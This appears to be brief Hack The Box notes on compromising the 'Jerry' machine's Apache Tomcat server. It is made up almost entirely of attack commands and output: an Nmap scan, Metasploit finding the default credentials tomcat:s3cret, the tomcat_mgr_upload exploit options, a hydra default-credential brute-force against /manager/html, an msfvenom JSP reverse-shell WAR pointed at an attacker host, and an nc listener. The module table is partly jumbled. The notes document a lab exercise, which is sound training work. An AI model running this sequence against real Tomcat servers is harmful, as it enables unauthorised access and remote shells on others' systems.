TOMCAT EXPLOIT

```
Nmap scan report for jerry.htb (10.10.10.95)
Host is up (0.19s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
[+] 10.10.10.95:8080 - Login Successful: tomcat:s3cret
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/tomcat_mgr_login) >
Module options (exploit/multi/http/tomcat_mgr_upload):
 Name
            Current Setting Required Description
                          no
 HttpPassword s3cret
                                  The password for the specified username
 HttpUsername tomcat no
                                   The username to authenticate as
 Proxies
                           A proxy chain of format type:host:port[,type:host:port][...]
                     no
 RHOSTS
             10.10.10.95
                                  The target host(s), range CIDR identifier, or hosts file with syntax
                          yes
'file:<path>'
 RPORT
            8080
                        yes
                               The target port (TCP)
 SSL
                     no
          false
                           Negotiate SSL/TLS for outgoing connections
```

TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used)

VHOST no HTTP server virtual host

hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.10.95:8080/manager/html

[8080][http-get] host: 10.10.10.95 login: admin password: admin

[8080][http-get] host: 10.10.10.95 login: admin password: admin

[8080][http-get] host: 10.10.10.95 login: tomcat password: s3cret

[8080][http-get] host: 10.10.10.95 login: tomcat password: s3cret

WITHOUT METASPLOIT

root@akg:/home/akg/Desktop/hackthebox/jerry# nikto -host http://jerry.htb:8080/

root@akg:/home/akg/Desktop/hackthebox/jerry# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.33 LPORT=4444 -f war > shell.war

nc -nlvcp 4444

ROOTED!!!!